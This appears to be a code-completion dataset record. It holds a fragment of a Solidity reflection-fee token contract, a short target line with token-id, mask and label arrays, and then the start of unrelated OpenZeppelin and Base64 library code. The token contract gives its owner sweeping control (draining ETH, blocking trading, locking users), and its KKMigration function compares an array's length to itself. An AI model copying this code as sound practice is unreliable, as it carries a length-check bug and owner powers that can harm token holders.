= tFee * currentRate; uint256 rMarketing = tMarketing * currentRate; uint256 rDevelopment = tDevelopment * currentRate; uint256 rInvfund = tInvfund * currentRate; uint256 rTransferAmount = rAmount - rFee - rMarketing - rDevelopment - rInvfund; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing * currentRate; _rOwned[address(this)] = _rOwned[address(this)] + rMarketing; if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tMarketing; } function _takeDevelopment(uint256 tDevelopment) private { uint256 currentRate = _getRate(); uint256 rDevelopment = tDevelopment * currentRate; _rOwned[address(this)] = _rOwned[address(this)] + rDevelopment; if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tDevelopment; } function _takeInvfund(uint256 tInvfund) private { uint256 currentRate = _getRate(); uint256 rInvfund = tInvfund * currentRate; _rOwned[address(this)] = _rOwned[address(this)] + rInvfund; if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tInvfund; } function calculateReflectionFee(uint256 _amount) private view returns (uint256) { return _amount * _ReflectionFee / 10**2; } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount * _MarketingFee / 10**2; } function calculateDevelopmentFee(uint256 _amount) private view returns (uint256) { return _amount * _DevelopmentFee / 10**2; } function calculateInvfundFee(uint256 _amount) private view returns (uint256) { return _amount * _InvfundFee / 10**2; } function setOldFees() private { _OldReflectionFee = _ReflectionFee; _OldMarketingFee = _MarketingFee; _OldDevelopmentFee = _DevelopmentFee; _OldInvfundFee = _InvfundFee; } function shutdownFees() private { _ReflectionFee = 0; _MarketingFee = 0; _DevelopmentFee = 0; _InvfundFee = 0; } function setFeesByType(uint tradeType) private { //buy if(tradeType == 1) { _ReflectionFee = buyReflectionFee; _MarketingFee = buyMarketingFee; _DevelopmentFee = buyDevelopmentFee; _InvfundFee = buyInvfundFee; } //sell else if(tradeType == 2) { _ReflectionFee = sellReflectionFee; _MarketingFee = sellMarketingFee; _DevelopmentFee = sellDevelopmentFee; _InvfundFee = sellInvfundFee; } } function restoreFees() private { _ReflectionFee = _OldReflectionFee; _MarketingFee = _OldMarketingFee; _DevelopmentFee = _OldDevelopmentFee; _InvfundFee = _OldInvfundFee; } modifier CheckDisableFees(bool isEnabled, uint tradeType, address from) { if(!isEnabled) { setOldFees(); shutdownFees(); _; restoreFees(); } else { // vesting, used to lock vested users, no tranfer, no sell, buy allowed. // can be disabled and cannot be enabled again if(vestingActive) { if(tradeType == 0 || tradeType == 2) { require(!VestedUser[from],"your account is locked."); } } //buy & sell if(tradeType == 1 || tradeType == 2) { setOldFees(); setFeesByType(tradeType); _; restoreFees(); } // no wallet to wallet tax else { setOldFees(); shutdownFees(); _; restoreFees(); } } } function isExcludedFromFee(address account) public view returns(bool) { return excludedFromFees[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } modifier FastTx() { isInternalTransaction = true; _; isInternalTransaction = false; } function sendToWallet(uint amount) private { uint256 marketing_part = amount * sellMarketingFee / 100; uint256 development_part = amount * sellDevelopmentFee / 100; uint256 invfund_part = amount * sellInvfundFee / 100; (bool success, ) = payable(_MarketingWalletAddress).call{value: marketing_part}(""); if(success) { emit MarketingCollected(marketing_part); } (bool success1, ) = payable(_DevelopmentWalletAddress).call{value: development_part}(""); if(success1) { emit DevelopmentCollected(development_part); } (bool success2, ) = payable(_InvfundWalletAddress).call{value: invfund_part}(""); if(success2) { emit InvestmentFundCollected(invfund_part); } } function swapAndLiquify(uint256 _tokensToSwap) private FastTx { swapTokensForEth(_tokensToSwap); } // utility functions function transferForeignToken(address _token, address _to, uint _value) external onlyOwner returns(bool _sent){ if(_value == 0) { _value = IERC20(_token).balanceOf(address(this)); } _sent = IERC20(_token).transfer(_to, _value); } function Sweep() external onlyOwner { uint balance = address(this).balance; payable(owner()).transfer(balance); } //switch functions function ActivateMarket(bool _state) external onlyOwner { marketActive = _state; if(_state) { MarketActiveAt = block.timestamp; } } //set functions function setMarketingAddress(address _value) external onlyOwner { _MarketingWalletAddress = _value; } function setDevelopmentAddress(address _value) external onlyOwner { _DevelopmentWalletAddress = _value; } function setInvfundAddress(address _value) external onlyOwner { _InvfundWalletAddress = _value; } function setSwapAndLiquify(bool _state, uint _minimumTokensBeforeSwap, uint _intervalSecondsForSwap, uint _tokenToSwap) external onlyOwner { swapAndLiquifyEnabled = _state; intervalSecondsForSwap = _intervalSecondsForSwap; minimumTokensBeforeSwap = _minimumTokensBeforeSwap*10**decimals(); tokensToSwap = _tokenToSwap*10**decimals(); require(tokensToSwap <= _tTotal / 500,"tokensToSwap should be max 0.2% of total supply."); emit SwapSystemChanged(_state,_intervalSecondsForSwap,_minimumTokensBeforeSwap,_tokenToSwap); } // mappings functions function editPowerUser(address _target, bool _status) external onlyOwner { premarketUser[_target] = _status; excludedFromFees[_target] = _status; } function editPremarketUser(address _target, bool _status) external onlyOwner { premarketUser[_target] = _status; } function editExcludedFromFees(address _target, bool _status) external onlyOwner { excludedFromFees[_target] = _status; } function editBatchExcludedFromFees(address[] memory _address, bool _status) external onlyOwner { for(uint i=0; i< _address.length; i++){ address adr = _address[i]; excludedFromFees[adr] = _status; } } function editAutomatedMarketMakerPairs(address _target, bool _status) external onlyOwner { automatedMarketMakerPairs[_target] = _status; } // operational functions function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transfer(address from, address to, uint256 amount) private { uint trade_type = 0; bool takeFee = true; bool overMinimumTokenBalance = balanceOf(address(this)) >= minimumTokensBeforeSwap; require(from != address(0), "ERC20: transfer from the zero address"); // market status flag if(!marketActive) { require(premarketUser[from],"cannot trade before the market opening"); } // normal transaction if(!isInternalTransaction) { // tx limits //buy if(automatedMarketMakerPairs[from]) { trade_type = 1; } //sell else if(automatedMarketMakerPairs[to]) { trade_type = 2; // liquidity generator for tokenomics if (swapAndLiquifyEnabled && balanceOf(uniswapV2Pair) > 0 && overMinimumTokenBalance && startTimeForSwap + intervalSecondsForSwap <= block.timestamp ) { startTimeForSwap = block.timestamp; swapAndLiquify(tokensToSwap); } } // send converted eth from fees to respective wallets if(moveEthToWallets) { uint256 remaningEth = address(this).balance; if(remaningEth > minimumWeiForTokenomics) { sendToWallet(remaningEth); } } } //if any account belongs to excludedFromFees account then remove the fee if(excludedFromFees[from] || excludedFromFees[to]){ takeFee = false; } // transfer tokens _tokenTransfer(from,to,amount,takeFee,trade_type); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee, uint tradeType) private CheckDisableFees(takeFee,tradeType,sender) { if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tDevelopment, uint256 tInvFund) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeMarketing(tMarketing); _takeDevelopment(tDevelopment); _takeInvfund(tInvFund); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tDevelopment, uint256 tInvFund) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeMarketing(tMarketing); _takeDevelopment(tDevelopment); _takeInvfund(tInvFund); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tDevelopment, uint256 tInvFund) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeMarketing(tMarketing); _takeDevelopment(tDevelopment); _takeInvfund(tInvFund); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing, uint256 tDevelopment, uint256 tInvFund) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeMarketing(tMarketing); _takeDevelopment(tDevelopment); _takeInvfund(tInvFund); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function KKMigration(address[] memory _address, uint256[] memory _amount) external onlyOwner { require(_amount.length == _amount.length,"wrong address:amount rows"); for(uint i=0; i< _amount.length; i++){ address adr = _address[i]; uint amnt = _amount[i] *10**decimals(); (uint256 rAmount, uint256 rTransferAmount,,,,,,) = _getValues(amnt); _rOwned[owner()] = _rOwned[owner()] - rAmount; _rOwned[adr] = _rOwned[adr] + rTransferAmount; emit Transfer(owner(),adr,rTransferAmount); } } }
accept eth for autoswap
receive() external payable { }
14,967,813
[ 1, 9436, 13750, 364, 13133, 91, 438, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 6798, 1435, 3903, 8843, 429, 288, 203, 282, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // File: contracts/Base64.sol pragma solidity ^0.8.0; /** * @author Artur Chmarusso (https://gist.github.com/Chmarusso + https://twitter.com/ArtiChmaro) */ library Base64 { string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** 